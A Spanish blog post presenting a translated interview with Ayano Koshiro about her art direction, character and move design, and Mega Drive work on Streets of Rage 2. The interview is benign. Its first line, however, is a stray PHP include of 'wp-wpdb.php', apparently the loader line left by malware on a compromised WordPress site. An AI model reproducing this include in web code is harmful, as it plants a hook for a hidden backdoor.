if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Entrevista a Ayano Koshiro, diseñadora de Streets of Rage 2 – La Fortaleza de LeChuck

Entrevista a Ayano Koshiro, diseñadora de Streets of Rage 2

Streets of Rage 2 es uno de los mejores juegos de MegaDrive. Sin embargo, pocos saben que detrás de las grandes ideas que introdujo este beat ‘em up había una mujer: Ayano Koshiro. En esta entrevista de Shmuplations conoceremos a la diseñadora que hizo brillar Streets of Rage 2.

La historia muchas veces oculta el rostro de personalidades que gracias a sus aportaciones hicieron avanzar la industria. Este es el caso de Ayano Koshiro, quien de muy jovencita inició su carrera en la compañía Nihon Falcon. Allí participó en el diseño de clásicos como Actraiser, Lunar e Ys. Años más tarde, y con un buen currículo a sus espadas, fichó por Ancient, estudio que fundó su hermano Yuzo Koshiro (compositor de Streets of Rage) junto a su madre, Tomo Koshiro. Desde entonces, Ancient ha lanzado juegos muy populares y sigue en activo a día de hoy.

Esta entrevista apareció en el blog de Ancient para celebrar la llegada de Streets of Rage 2 a 3DS. Para ella, se desempolvaron documentos de planificación y diseños originales de Ayano Koshiro. Disfrutadla.

I. Nuevos personajes, nuevos movimientos

Gracias por hacer esta entrevista hoy. Para empezar, ¿cuál fue tu papel en el desarrollo de Streets of Rage II?

Koshiro: ¿Papel? Probablemente diría que Jefa de Diseño Gráfico. Hoy en día lo llamaríamos algo así como «dirección de arte» (decidir el aspecto general del juego). También hice diseños de personajes e ideé todos los movimientos y ataques especiales, es decir, realicé los bocetos/borradores.

Oh, ¿hiciste los movimientos/ataques también? ¿Los planificadores te dieron alguna orientación general sobre eso?

Koshiro: No, se me ocurrió primero. Para establecer los parámetros de daño real, teníamos un planificador jefe, pero la fuerza aproximada de cada ataque fue algo que escribí yo. Ya sabes, como «salto de ataque hace 1 de daño, golpe recto hace 2, golpe fuerte hace 3», etc. Para Max y Sammy, como eran nuevos personajes, lo consulté con mi hermano Yuzo Koshiro.

Oh, ¿entonces diseñaste a Max y Sammy desde cero?

Koshiro: Sí.

Me parece extraño que no participaran los planificadores en eso…

Koshiro: Ya, ¡pero así se hacían las cosas en aquel entonces!

Bien, el diseño gráfico tuvo prioridad. Se hizo mucho hincapié en ese impacto visual.

Koshiro: Sí, eso es cierto, pero también había cierto flujo en el combate que queríamos. Estoy segura de que has jugado Street Fighter II, mi hermano y yo también. Nos gustó tanto que compramos un arcade y lo instalamos en la oficina de Ancient. A mi hermano y a mí nos gustó la forma en que pelean en SFII, y surgió una visión compartida de los combates de Streets of Rage 2: dos puñetazos, seguido de un golpe directo, luego un golpe fuerte, ¡y el enemigo se iba volando! Ese tipo de flujo tenía que estar allí.

También nos preguntamos: «¿Qué sería divertido para la secuela?» Tenías a Axel, tu luchador estándar, y luego a Blaze, el personaje veloz. Pero también estaba Adam en el primer juego… pero Adam no tenía una especialidad real… (Risas) Así que se quedó fuera. (risas)

Ah, ¿tú fuiste la responsable de la desaparición de Adam?

Koshiro: Sí, fui yo. (Risas) No recuerdo exactamente cómo sucedió, pero le pedí permiso a Sega primero, claro.

¿Pero fuiste quien lo sugirió?

Koshiro: Hmm… No estoy segura. Puede que no fuera yo. Probablemente fue algo más simultáneo, como: «realmente no necesitamos a Adam, ¿verdad?» «¡No!»

Así podrías añadir un personaje menos parecido a Axel y Blaze.

Koshiro: Correcto. Ya que iba a ser la misma cantidad de trabajo de cualquier manera, al menos podríamos añadir a alguien nuevo. Además, siempre quieres hacer algo novedoso en una secuela, ¿verdad? Los sprites de los personajes de SoR2 se hicieron más grandes, por lo que queríamos que tuvieran ataques y movimientos más variados. Hacer un nuevo personaje era solo una forma más rápida de llegar allí.

Entonces, Adam fue dejado de lado. Pero lo hicimos aparecer en la historia. Pensamos que ya que él no está ahí, ¿quizás Axel y Blaze tienen que ir a rescatarlo? A partir de ahí tuvimos la idea de su hermano menor, Sammy. Iba a ser el personaje súper maniobrable y de estilo complicado. Usarlo requiere algo de habilidad. Lo diseñamos como un personaje que los jugadores experimentados querrían probar.

En cuanto a Max… Es de estilo fuerte y duro. Mi hermano Yuzo adora los personajes basados ​​en lanzamientos. Ya sabes, los personajes que son difíciles de usar, pero cuando conectas, se acaba de un solo golpe. Esa lista nos pareció un buen equilibrio: dos personajes de estilo estándar y dos con peculiaridades. Una vez que decidimos la dirección de los personajes, sus movimientos fueron naturales. Axel y Blaze eran personajes normales, así que todo transcurrió sin problemas. Nos decantamos por movimientos llamativos y coloridos para Sammy. Y como Max era el personaje de estilo derribo, añadimos movimientos de luchador.

Creé un índice para sus movimientos/ataques, y lo llené uno a uno. Casi todos sus movimientos fueron creados por mí. Tuve que pensar en formas de darle variedad a los conjuntos de movimientos, y obtuve mucha inspiración y matices de los populares juegos de lucha VS. de la época.

Diseños de Blaze, Axel, Max y Sammy

Hay un movimiento donde mantienes apretado el botón de patada y luego lo sueltas para hacer una doble patada rápida. ¿Fue idea tuya?

Koshiro: Sí. Cosas como esa generalmente se comentaban en conversaciones informales con los desarrolladores. Luego alguien lo ponía en código allí mismo, y si nos gustaba, simplemente lo aceptábamos. (risas) En aquel entonces, si tenías una idea que querías probar, tan solo la añadías. (Risas)

Streets of Rage 2 tiene un gran elenco de personajes. ¿Quiénes son tus favoritos o los más memorables?

Koshiro: Hmm, hicimos tantos, no los recuerdo todos ahora. Recuerdo que en los primeros Streets of Rage, Sega decía que era un problema para el mercado extranjero si las mujeres recibían un golpe en el juego. Esta vez eso no lo fue. Pero sí recuerdo que censuraron la imagen de Mr. X en la escena final. Creo que quitaron el cigarrillo que fumaba.

También, y aunque no esté muy relacionado con Streets of Rage, todo lo que tuviera que ver con religión era un problema. Si un marco de la ventana se parecía demasiado a un crucifijo, por ejemplo, se nos pedía que no hubieran enemigos luchando delante.

Nuestras ideas para los enemigos comenzaban con la forma en la que se moverían. Luego, añadiríamos diferentes personajes: los más complicados, los que tienen vida extra… Para llenar los vacíos y dar variedad.

¿Y tenías uno favorito de estos?

Koshiro: Hmm, ¿tal vez los enemigos de kung fu al final? Los luchadores de color, cuyos ataques son realmente fuertes, son casi como jefes para los jugadores. Todo el mundo disfrutaba leyendo manga en el Weekly Shounen Champion en ese momento. Estaba de moda «Baki» y «Kakugo no Susume», mangas de lucha de ese estilo, lo cual tuvo una gran influencia en Streets of Rage 2… Hay muchas referencias de manga ahí.

II. Trabajando en Ancient

¿Pero no hubo horarios y los plazos de entrega duros? Escuché que solo tuviste medio año para trabajar en SoR2.

Koshiro: Sí, pero creo que la planificación nos llevó menos de una semana. Y que comenzamos justo cuando terminaron los primeros Streets of Rage… ¿Medio año? Supongo que algo así.

Este fue el primer juego de Megadrive de Ancient, ¿no? Me imagino que el aspecto técnico debió de ser muy difícil en ese período de tiempo.

Koshiro: Sí, pero funcionó bien. Probablemente debido a los programadores ace que teníamos. (risas)

¿Tenían experiencia con Megadrive?

Koshiro: No, creo que fue su primera vez. Los programadores en aquel entonces eran buenos, realmente buenos. Muchos de los externos que nos ayudaron también fueron muy hábiles. Ucchi-san (Kataru Uchimura, el planificador principal en Ancient desde el principio, que pasó a hacer Story of Thor, Vatlva, y otros) también se unió al equipo ese año. Aunque en SoR2 creo todavía no era un empleado oficial de Ancient.

Básicamente, yo hice el diseño y la planificación artística, pero la implementación y la codificación reales se transfirieron a otros.

 

 

 

 

 

 

 

 

 

 

 

 

 

Parece que ambos fuisteis diseñadores y planificadores de SoR2.

Koshiro: Sí, tal vez sí. Yo hice la mayor parte de la comunicación con Sega, asistiendo a reuniones, actuando como intermediaria, etc.

Durante el desarrollo, pasé la mitad del tiempo obsesionada con los juegos de lucha VS y la otra la mitad haciendo Streets of Rage 2. Los tiempos habían cambiado, y los juegos de lucha VS. eran lo más importante en esa época, así que realmente quería incluir esos elementos en SoR2. Quería que tuviera esa rica variedad e incluir un modo expandido versus, pero nos quedamos sin tiempo y no pudimos hacerlo. Deseaba una mayor variedad en los movimientos.

Sin un conjunto de movimientos variado, un modo versus no habría sido muy emocionante, sí.

Koshiro: Sí, eso pienso.

¿Cuántos empleados tenía Ancient en aquel entonces?

Koshiro: Hmm, buena pregunta. ¿Empleados permanentes? Probablemente solo yo, mi hermano, un programador y otra persona, creo.

Ocasionalmente contratamos algunos diseñadores más, pero aparte de eso, era todo personal externo, ¿probablemente 10 personas en el desarrollo en total? Fue hace 20 años, así que no puedo recordarlo exactamente, pero probablemente algo así.

¿Cuál fue el mayor desafío que te planteaste con SoR2?

Koshiro: Definitivamente añadir esos elementos versus. Además, en los juegos de Super Famicom veías todos esos niveles locos llenos de ideas creativas. ¿Cuánta variedad podríamos incluir en estas fases? Sabía que iba a ser algo decisivo.

También implementamos el desplazamiento diagonal en SoR2. Sabía que quería algo impresionante para la primera fase.

Ya veo. ¿Qué se te ocurrió? Estoy tratando de recordar el nivel…

Koshiro: Al final no introdujimos ninguna «trampa» o funcionalidad en el nivel, ya que era el primero, y sería demasiado repentino. En su lugar, colocamos ese desplazamiento en diagonal poco después de la introducción, para sorprender a los jugadores.

El segundo nivel presenta las motos, el tercero el barco pirata, y después el cuarto tiene la ambientación alienígena. La mayor influencia en la progresión de fases viene sin duda de la saga Contra. Cada nivel de Contra es como «¡¡¡guauuu !!!» y da una idea de una historia de fondo del juego. No se transmite en palabras, por supuesto, pero creo que se tiene una idea de eso solo con ver pasar los escenarios.

Contra fue una gran inspiración a la hora de diseñar los niveles

 

Sí, no me di cuenta de esto hasta que vi tus documentos de planificación y el arte conceptual, ¡pero se suponía que iba a haber una historia para los eventos en las fases! Al igual que en los lugares donde los enemigos te tendían una emboscada, escribiste cosas como «¡es una trampa!». No me di cuenta de nada mientras jugaba. (risas)

Koshiro: Sí, lo sé (Risas) Streets of Rage 2 estaba lleno de elementos así, referencias a cosas que mis amigos y yo amamos en ese entonces. ¿Recuerdas al enemigo Jack? El que tiene el cuchillo. Su versión en otro color se llama Beano. Esos nombres, Jack y Beano, vinieron de un dulce de soja que nos chiflaba. (risas)

Eso es absurdo. (risas) ¿También añadiste los nombres del personal?

Koshiro: Sí. Hicimos eso en Story of Thor también, es una especie de costumbre. Siempre encontrarás nuestros nombres allí en alguna parte. Lo decidíamos con todo el mundo sentado y preguntando, «está bien, ¿quién quieres ser?» (risas)

III. Cambios en Streets of Rage

También hay una serie de elementos que fueron eliminados de los primeros Streets of Rage. ¿Tuviste algo que ver? ¡Comencemos hablando del spray de pimienta perdido!

Koshiro: ¡Ah! ¿Por qué nos deshicimos de eso? ¿Tal vez porque no era interesante? (risas)

Sí, creo que no era muy efectivo.

Koshiro: ¿Podríamos habernos quedado sin espacio? Con la tubería de acero, el bate, el cuchillo y la botella …

Me gustó esa botella, especialmente cuando la rompes.

Koshiro: Sí, tienes dos formas diferentes de atacar con ella: primero un golpe de mano, y luego, cuando se rompe, un movimiento de apuñalamiento. La tubería de acero también tenía varios movimientos, y golpea por detrás cuando la levantas.

¡Oh si! ¿Quién pensó en eso?

Koshiro: Eso fue algo que descubrimos en el proceso. Alguien lo programó, luego hicimos una prueba. Añades algo, lo pruebas, luego vuelves a ajustar… Es ese tipo de proceso. Todos participábamos en él, y fue muy bien. Era una forma rápida de hacer las cosas, y muy divertida.

Todos nos juntábamos alrededor del ordenador, y alguien sugería, «¿qué tal si ponemos el hitbox aquí?» Entonces, simplemente lo añadíamos al editor. (Risas) Con el sonido incorporado, era muy gracioso. Estábamos como, «¡eso es!» (Risas)

Notas de diseño de Ayano. Vemos que muestran algunas de las restricciones en las que los desarrolladores tuvieron que trabajar, especialmente por el lanzamiento en EE.UU.

¿Qué pasó con el ataque especial del primer juego con el coche patrulla y el bazooka?

Koshiro: Tuvimos que eliminarlo, ya que estábamos usando el desplazamiento diagonal en SoR2. En compensación, pusimos un botón para ataques especiales de los personajes.

Supongo que hubieras eliminado el ataque del coche patrulla de todos modos, ¿verdad?

Koshiro: Sí, probablemente. Fue algo que realmente gustó a los jugadores en el primer juego. Pero necesitábamos una forma diferente de sorprender.

Ya veo. Pero los nuevos movimientos no son tan llamativos como el coche patrulla, ¿no crees?

Koshiro: Sí, pero creo que ser capaz de crear estrategias y decidir cómo usar tu golpe especial es más divertido. Al igual que en un STG («shooting game«) me gusta tener un ataque especial que requiere pararse a pensar, en lugar de tener una bomba que lo destruye todo.

Ayuda a distinguir a cada personaje también. Por cierto, ¿hubo incidentes durante el desarrollo que, ahora que ha pasado algún tiempo, puedes hablar libremente?

Koshiro: ¿Incidentes? Estoy segura de que hubo, mmm… Está bien, ¡aquí va uno realmente tonto! Una vez Sega me llamó y me enfadé tanto por lo que dijeron que comencé a llorar. Fue hacia el final del desarrollo. Probablemente tuvo algo que ver con los plazos o un problema de calidad. Recuerdo haberlo discutido por teléfono mientras lloraba a lágrima viva.

¿Quieres decir que no fueron solo unos pocos sollozos, sino llorar desconsoladamente?

Koshiro: Sí, no sé, estaba tan furiosa que lloraba así. ¡Pero no recuerdo exactamente por qué estaba enfadada! (risas)

¿Pero al final se resolvió?

Koshiro: Sí. Finalmente entendieron porque estaba tan enfadada. Me tomaba realmente en serio el desarrollo de este juego. ¡Había puesto tanto de mi corazón en él!

¿Y cuál fue la parte más frustrante del desarrollo? Supongo que ya me has respondido a eso…

Koshiro: Jaja, no, fue todo frustrante. (risas) Probablemente lo más importante era la calidad del pixelart enemigo que recibíamos del personal externo. Tuve que hacer que lo diseñaran tantas veces… De alguna manera, lo que les estaba diciendo simplemente no lo entendían. Al final tuve que hacerlo yo misma.

También retoqué muchos de los fondos. Pero tengo que decir que los fondos hechos por Nakai (Nakai Satoshi, conocido por Gynoug y sus ilustraciones para las cartas de Culdcept) fueron increíbles. Cosas como el área donde estás dentro del barco, esa atmósfera de tuberías y óxido… ¡Me sorprendió lo que logró con una paleta de colores tan limitada!

¿Qué ataque es tu favorito o el más memorable para ti?

Koshiro: Me gustan todos. Especialmente los movimientos de Sammy porque son complicados. Cuando lanza gente, por ejemplo. Y creo que sus patines y su ropa son geniales. Eso me recuerda que para Streets of Rage nuestra tradición era añadir lo que era popular en ese momento. Como la lambada, el pasatiempo de Blaze. (risas) Y ya pensamos en darle patines a Sammy al principio, y luego escuchamos que eran tendencia. No había Internet en ese momento. Así que comprábamos revistas y usábamos recortes de anuncios para convertirlos en presentaciones para reuniones y demás.

Algunos de los movimientos de Blaze

¡Cómo la persona que hizo cada movimiento, tendrás cariño a todos ellos!

Koshiro: Sí. Los que eran extraños o difíciles de usar fueron especialmente divertidos de hacer. Max tiene una gran cantidad de movimientos donde el hitbox está en un lugar extraño. Su codazo, por ejemplo.

Parece que era una especie de luchador estándar cuando lo estabas creando, pero luego resultó muy divertido al probarlo.

Koshiro: Sí, fue así. Y el peso de los golpes, esa sensación de impacto, era algo que todos probamos y ajustamos como equipo.

¿Todo el mundo lo hacía?

Koshiro: Todos nos reuníamos alrededor de la pantalla y trabajábamos en ello. Mientras hablábamos, los programadores implementaban cosas en el acto. Creo que ese estilo de desarrollo conduce a los mejores juegos. Tal vez fue posible porque los juegos eran más simples en aquel entonces… Con los juegos de hoy, rehacer las cosas una y otra vez sería demasiado caro.

Otro problema es que con el desarrollo actual, no tienes una imagen clara de todo el producto mientras trabajas. En aquel entonces, todo el mundo tenía una idea clara del concepto, desde el proceso de planificación hasta la programación en sí.

¿Cuáles son algunas de las ideas más interesantes o memorables que tuvieron que eliminarse de Streets of Rage 2?

Koshiro: Teníamos alrededor del 120% de ideas valiosas para cada fase, y tuvimos que reducir el tamaño a aproximadamente el 90%. Así que hubo mucho que se eliminó.

¿Qué hay de los personajes? ¿algo interesante se descartó?

Koshiro: ¿No lo creo …? Era algo así como si siguiéramos añadiendo cosas.

Debes haber tenido muchos datos con los que trabajar entonces.

Koshiro: Sí. Si teníamos tiempo para crearlos y diseñarlos, se incorporaban más personajes y enemigos. Es decir, si se podía, se hacía.

Ahora que lo pienso, ese lloroso incidente con Sega probablemente tuvo algo que ver con una fecha límite. La fecha límite que querían hubiera significado que todo nuestro trabajo se quedaría a medio terminar y hecho con prisas.

Por cierto, ¿qué edad tenías entonces?

Koshiro: 22, ¿creo? Porque recuerdo que Ariga (el mangaka Hitoshi Ariga, esposo de Ayano Koshiro, y diseñador de personajes de Vatlva, entre otros juegos. También implicado en muchos de los desarrollos de Ancient) estaba en su adolescencia.

Si mal no recuerdo, por aquel entonces teníamos tal escasez de personal que tuvimos que fichar a Tomoharu Saitou (diseñador de criaturas de Culdecept) para que nos ayudara. Estaba trabajando en un proyecto para otra compañía en ese momento, y tan pronto como terminó le pedimos que nos echara una mano. Pasó todos los días trabajando como un esclavo en el pixelart hasta altas horas de la noche. (risas)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Eso suena triste. (risas)

Koshiro: Pero en aquel entonces, así eran las cosas. Trabajabas en un juego porque querías, no porque alguien te obligara.

Haciendo lo que amabas.

Koshiro: Exactamente. Es por eso que hubiera sonado extraño si alguien lo llamara «explotación» entonces. Creo que Ariga realmente entro aquí porque en su trabajo anterior alguien había hablado mal de su obra, así que pensó que Ancient podría estar mejor para él.

¿De verdad?

Koshiro: Sí. Trabajaba con nosotros porque lo disfrutaba.

Otro secreto para el éxito de Streets of Rage 2 fue la voz alegre actuando. ¿Tienes alguna anécdota interesante para compartir sobre eso?

Koshiro: Alegre, eh. Tendrás que preguntarle a mi hermano.

¿La grabación vocal se realizó en un lugar diferente del desarrollo?

Koshiro: Sí. Fue hecho aquí, en nuestra sede (el desarrollo realmente tuvo lugar en una ubicación diferente). Era una casa antigua, antes de la remodelación. Llamé a mis amigos y a algunas chicas que conocía y les hice gritar las líneas de Blaze. (risas)

Oh, ¿entonces fueron realizadas por tus amigos? Creo que leí en alguna parte que Yuzo realizó todas las voces, excepto algunas que les cedió a sus amigos.

Koshiro: No. Sé que Blaze era diferente. Aunque no estuve allí para verlos grabar.

¿Estabas emocionada una vez que se añadieron las voces, ya que dan tanta energía al juego?

Koshiro: Ah, sí. Pero en realidad me sentí más feliz cuando se implementó el sonido fx de los golpes. De repente, todo tenía un peso detrás. También habían dos mangas populares en ese momento que tenían una rutina en la que hacían sonidos divertidos cuando se golpeaban. «Bishii!» nos encantaba a mi hermano y a mí. Fue divertido y satisfactorio. Así que realmente nos preocupamos por el sonido fx para SoR2.

Además de la banda sonora, se dice que Yuzo Koshiro también hizo una pequeña parte del diseño. Estos bocetos son para el enemigo boxeador.

IV. Desarrollando para Megadrive

Streets of Rage 2 fue el primer juego de Megadrive de Ancient. ¿Cuál fue tu impresión del desarrollo en esa máquina?

Koshiro: Bueno, dije que SoR2 era el primero, pero técnicamente ya habíamos desarrollado Sonic para Game Gear antes, y hacerlo para Game Gear no fue tan diferente. Las especificaciones básicas son distintas, pero estructuralmente es similar (en comparación con otros sistemas al menos).

Ah. Creo que la cantidad de paletas disponibles, y la velocidad de procesamiento y la memoria, eran diferentes. Megadrive tenía cuatro paletas de 16 colores, ¿verdad? Entonces, ¿podrías hacer un máximo de cuatro versiones de diferentes colores del mismo enemigo? Aunque no creo que lo hayas hecho. ¿Puedes hablar un poco sobre cómo manejaste las paletas?

Koshiro: Usamos dos para colorear personajes, y dos para los fondos. Para la primera paleta, usamos el lado izquierdo para gradaciones en blanco y negro, pero esta era solo nuestra manera personal de hacerlo. La primera paleta se usaría para los personajes, y luego la segunda paleta para enemigos que cambian de color.

¿Entonces cada enemigo solo podría tener dos versiones de diferentes colores?

Koshiro: Sí, ¿creo que sí?

La Famicom era famosa porque siempre cambiaba la paleta de los sprites de los enemigos.

Koshiro: Bueno, sí, la Famicom tenía un montón de paletas disponibles.

Parece que eso fue difícil de realizar en Megadrive.

Koshiro: Sí, lo fue.

Pero recuerdo ciertos sprites en SoR2 que tienen más de dos versiones diferentes, ¿no? ¿Como el enemigo que se pega a tu espalda? Creo que habían versiones moradas, verdes y amarillas de él ¿Usaste las paletas de fase ahí?

Koshiro: Ah, probablemente.

Cuando estabas desarrollando para Megadrive, ¿cuál era la funcionalidad de hardware que más te hubiera gustado tener?

Koshiro: ¡Transparencias!

Ja, lo sabía.

Koshiro: Transparencias. La Super Famicom tenía. Afortunadamente, Megadrive podía lograr un efecto de difuminado al hacer que los colores de las líneas de píxeles largas y finas se combinaran entre sí. Es por eso que cuando vimos por primera vez esa cascada transparente en Sonic, todos quedamos realmente impresionados. ¿Cómo lo hacía? Luego, cuando miré de cerca, fue como, «oh, ya veo». (Risas) Ese efecto en la cascada de Sonic fue tan bonito…

La Megadrive tenía escalado y rotación de sprites, pero te gustaban más las transparencias, ¿eh?

Koshiro: Bueno, el escalado en Megadrive fue un poco …

Oye, la CPU de Megadrive hacía lo que podía. (risas)

Koshiro: Sí. Pero el escalado no se veía tan bonito, así que no me gustó mucho. Se hubiera visto mejor con líneas y gráficos de estilo vectorial, pero no los estábamos usando.

¿No querías más colores? 64 parece poco.

Koshiro: Sí, pero nos apañábamos. Las transparencias, sin embargo … (risas) En cualquier caso, el hardware había avanzado mucho desde la época de Famicom hacia otras formas, así que no nos importó mucho.

Parece más como si quisieras transparencias porque la Super Famicom las tenía. (risas)

Koshiro: Sí. Pero a decir verdad, no me gustó tanto desarrollar para Super Famicom. Los píxeles eran demasiado grandes. Y no me gustaba tanto el color. Prefería el de Megadrive. Simplemente se sentía más chulo. En Super Famicom las cosas se sentían… lentas.

¿Qué es lo que más te gustó sobre el desarrollo en Megadrive?

Koshiro: la mayor resolución de píxeles. Además de la velocidad y lo ágil que se sentía todo. Los programadores me han dicho que no existe realmente una gran diferencia de velocidad entre los dos sistemas, pero me pareció más rápido. Casi «más ligero».

¿Cuáles fueron los juegos de Megadrive de esa época que más te influenciaron?

Koshiro: Mickey Mouse, Sonic 1, ¿The Super Shinobi? Me gustaban los juegos de Megadrive con grandes sprites que parecían moverse de forma más dinámica que los de SFC.

¿La Super Famicom era demasiado lenta para tratar grandes sprites?

Koshiro: No fue un problema de procesamiento, tenía que ver con el ancho de pantalla. Debido a que disponía de menos resolución, no había mucho espacio para grandes sprites, y cuando los movía, rápidamente daba en el borde de la pantalla.

Ah. Creo que Megadrive tenía 40 filas verticales para los sprites, mientras que Super Famicom tenía 32, ¿verdad? Si lo piensas de esa manera, hay un 20% menos de espacio para trabajar. Incluso si diseñas algo igual, las cosas se sentirán estrechas.

Koshiro: Sí, en Super Famicom las cosas se llenaban muy rápido. Fue bueno de cierta manera. (risas)

Imagino que desarrollaste algunos trucos y técnicas para sacar el máximo provecho a Megadrive en Ancient. Cuéntanos los más interesantes.

Koshiro: Hmm … ¿probablemente la forma en que utilizábamos las paletas? Una paleta servía para diseñar de todo. La técnica secreta era hacer cambios muy sutiles en esa paleta.

V. Imaginando Streets of Rage 4

Si alguien te dijera que tienes vía libre para hacer Streets of Rage 4, ¿qué tipo de juego harías?

Koshiro: ¿4? (risas)

Cualquier cosa que quisieras (risas)

Koshiro: ¿De verdad? ¿Y si dijera que lo convertiría en un juego de puzles? (risas)

(Risas) Lo que quieras.

Koshiro: Bueno … ¡por supuesto que no sería un juego de puzles! Mmm, probablemente haría algo que aprovechara el hardware moderno y les permitiera a todos jugar juntos. Alguna cosa multijugador online, donde tú y cinco de tus amigos podríais chulear por la calle como una banda.

¡Deberías asegurarte de que todos tienen la misma velocidad al andar! En los juegos online de ahora, siempre hay alguien que es más rápido y se adelanta.

Koshiro: Sí, ya que si fueras solo, te pegarían. Sería como luchas de bandas. Muchos enemigos, pero todos serían jugadores.

¿Cómo serían los personajes?

Koshiro: Bueno, una cosa es segura: no personajes moe. Solo tíos mayores y duros.

Y musculosos, ¿verdad?

Koshiro: Oh sí, músculos. ¡Músculos, músculos y más músculos! (risas)

¿Quién compraría exactamente ese juego? (risas)

Koshiro: yo. (risas). Creo que los gustos están cambiando y mucha gente nueva está entrando en esta dinámica otra vez. Hoy en día, todo son niñas pequeñas y creo que los jugadores se están cansando de eso.

Y creo que los fanáticos de Streets of Rage quieren un estilo más clásico.

Koshiro: Sí, definitivamente. No creo que funcionase con niñas moe.

Sí, esto es ‘Bare KNUCKLE’ (Streets of Rage) después de todo. ¡Lucha con tus puños!

Koshiro: Sí, este no es lugar para osos de peluche.

¿Y sobre la historia?

Koshiro: Tal vez tendrían que ir a rescatar a Axel. (Risas) Realmente me da igual la historia. Incluso con zombis. (risas)

¿Hardware?

Koshiro: ¿PC o 3DS? Si es para 3DS podríamos llamarlo «Minna de Bare Knuckle» (risas)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

VI. Desarrollo de juegos, antes y ahora

Algo suena … raro acerca de ese título. (Risas) Ayano, has desarrollado para Game Gear, Megadrive, Famicom, Super Famicom, PC-9801, MSX y PC Engine. ¿En qué sistema disfrutaste más trabajando?

Koshiro: Hmm, ¿en cuál? Megadrive fue realmente disfrutable a la hora de trabajar. Tenía limitaciones, pero te dejaba hacer suficiente. No quieres hacer demasiado después de todo … (risas)

Ah. ¿Estás diciendo que Megadrive fue tu favorita porque era lo suficientemente simple como para tener una visión general de todo el desarrollo?

Koshiro: ¡Sí! Si el hardware es demasiado potente, y te vuelves demasiado ambicioso, entonces puedes perder fácilmente de vista los límites del proyecto, y la gente tendría unas expectativas demasiado altas.

Con los nuevos sistemas como PS4, todos saben que puede hacer un increíble modelado en 3D, por eso te ves obligado a hacer algo a ese nivel. Y simplemente no puedo.

Parece que el desarrollo moderno es más estresante y agotador.

Koshiro: Sí. Parece que realmente no estés trabajando en un «juego».

Bueno, claro, es por eso que tienen que dividir el trabajo entre un gran equipo.

Koshiro: Y cuando eso sucede, es raro que todas las piezas se junten y encajen en un juego satisfactorio. Aunque cuando pasa, esos juegos se vuelven legendarios.

Bueno, ¿Y qué hardware fue el que menos te gustó para trabajar?

Koshiro: PC Engine.

¿Por qué? ¿Porque no tenía rotación de sprites?

Koshiro: Sí. (Risas) Eso es todo.

Parece que no requería mucha memoria entonces. ¿Tenía mucha?

Koshiro: No, no que yo recuerde.

PC Engine se sentía diferente en su momento por sus gráficos de calidad arcade.

Koshiro: ¡Sí! La gente realmente esperaba mucho. Tenía numerosas paletas disponibles también. Me pareció gracioso que usaran un cambio de paleta para cambiar de letras.

 

 

 

 

 

 

 

 

 

 

 

 

 ¿Habían otros sistemas que no te gustaban?

Koshiro: Mmm, ¿quizás Game Gear? Porque la pantalla era muy pequeña (Risas) Cuando la pantalla se desplazaba, te topabas con un enemigo. (risas)

Y sin embargo, has creado Sonic para Game Gear … ¡ese se mueve rápido! (risas)

Koshiro: Solo habían dos paletas para los colores. ¿Creo que estaba a la par con Master System en ese sentido?

La impresión que tengo de Master System es que podías hacer mucho con eso, si te esforzabas.

Koshiro: Eso es verdad. Me gustan los sistemas así, donde el hardware te hacía esforzarte. Te obligaba a ser ágil y creativa con tus ideas.

¿Cómo era la Famicom?

Koshiro: El pixel art siempre fue difícil en la Famicom, pero los pequeños sprites y los colores limitados eran lo que la gente esperaba: «oh, es un juego de Famicom». Así que nadie tenía grandes expectativas por encima de eso.

¿Y también desarrollaste para MSX?

Koshiro: Sí. La versión MSX2 de Ys. Sólo el arte. En los retratos de la tienda y tal, creo que se puede ver la influencia de The Bard’s Tale, el cual me gustó en aquel momento. La interacción de la luz y la sombra. Me agradaba la forma en la que podías usar tantos colores en MSX2.

Han pasado 20 años desde que salió Streets of Rage 2. ¿Cuál crees que es la mayor diferencia entre el desarrollo de juegos de ayer y hoy?

Koshiro: El tamaño del equipo de desarrollo. (Risas) Si en el pasado era como el estudio de un artesano, ahora se parece más a la industria del automóvil.

Como una línea de montaje de una fábrica.

Koshiro: Correcto. Aunque tú sabes lo que estás haciendo, no tienes una idea clara de cómo se usará en el juego. No sé, supongo que el mercado del videojuego ha madurado o crecido.

Ya no es una cosa que puedas controlar. (Risas) En aquel entonces, las ideas de una sola persona podían cambiar las cosas a lo grande. No pensábamos mucho acerca de las ventas y las ganancias, y si lo hacíamos, era bastante simplista, un «cómo podemos hacer que esto se vea impresionante». Hoy en día, hay que pensar en estas cosas desde una perspectiva de marketing, como podemos alcanzar este objetivo de ventas o no, etc.

En aquella época, los jugadores compraban un juego incluso si no tenía toda esa montaña de marketing detrás. Las guerras de hardware también fueron divertidas.

Koshiro: Sí, fue un período de crecimiento para la industria. No importa lo que lanzaras, se sentía nuevo. Ahora es difícil hacer eso … ¿tal vez esa es la mayor diferencia?

Pero, el mundo avanza, y quizás si lanzáramos Streets of Rage como un título independiente, se sentiría fresco y nuevo para los jóvenes de hoy.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Esta es una pregunta relacionada, pero ¿qué es lo que más te gustó del desarrollo de juegos en aquel entonces?

Koshiro: El hecho de que teníamos tanto control sobre todo.

Sí, eras más que una simple «diseñadora», tenías voz en muchas cosas del desarrollo.

Koshiro: Sí. Y los clientes no intentaban controlar las cosas o ejercer presión innecesaria sobre el proyecto. Venían una vez a la semana, jugaban lo que teníamos del juego y luego hablaban con nosotros sobre ello. No había correo electrónico, por lo que todo tenía que hacerse cara a cara. Creo que en ese sentido, nos entendíamos mejor entonces. Podíamos examinar los documentos de planificación juntos, y centrarnos en las cosas de una manera realmente práctica. Eso era algo bueno, creo.

Sí, con el correo electrónico a menudo es difícil medir las emociones de las personas. Crees que has entendido a alguien, pero realmente ha sido todo lo contrario.

Koshiro: Otra cosa que me gustó de aquel entonces fue la solidaridad entre el personal. Era muy agradable, todo el mundo se llevaba bien. Hoy en día usamos Skype, pero entonces había faxes que entraban y salían todos los días, y organizábamos todos nuestros materiales en archivadores físicos.

Es impresionante, debes de haber guardado muchos documentos de planificación y diseño.

Koshiro: Bueno, trabajamos muy duro en ellos. Hoy todos nuestros archivos están almacenados en el ordenador, por lo que simplemente son ignorados y olvidados después. Y antes de que te des cuenta, nadie sabe en qué PC o disco duro están. (risas)

